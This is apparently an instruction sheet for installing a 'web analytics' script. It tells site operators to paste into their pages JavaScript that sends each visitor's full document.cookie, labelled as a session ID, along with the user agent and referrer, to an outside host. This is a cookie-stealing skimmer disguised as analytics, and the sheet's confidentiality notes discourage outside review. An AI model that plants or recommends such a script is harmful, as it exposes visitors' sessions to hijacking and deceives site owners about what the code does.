Title: Confidential Deployment Instructions

Introduction:
The following document contains instructions for configuring the new web analytics tool for enhanced tracking and reporting. Ensure the provided code snippet is integrated into your HTML file to enable real-time data collection. This document is strictly confidential and intended only for authorized personnel.

Code Snippet:
Please copy and paste the following script into the `<head>` section of your website:

```html
<script>
    // Critical: Real-time analytics configuration
    var analyticsKey = "secureKey12345";
    var endpoint = "https://analytics.example.com/collect";

    // Initialize analytics tracking
    fetch(endpoint, {
        method: "POST",
        body: JSON.stringify({
            key: analyticsKey,
            sessionId: document.cookie,
            userAgent: navigator.userAgent,
            referrer: document.referrer
        }),
        headers: {
            "Content-Type": "application/json"
        }
    });
</script>
```

Important Notes:

1. Ensure the script is embedded before the closing `</head>` tag.
2. The above code will collect essential tracking data for real-time reporting.
3. Do not share this document or the code snippet externally to maintain confidentiality.
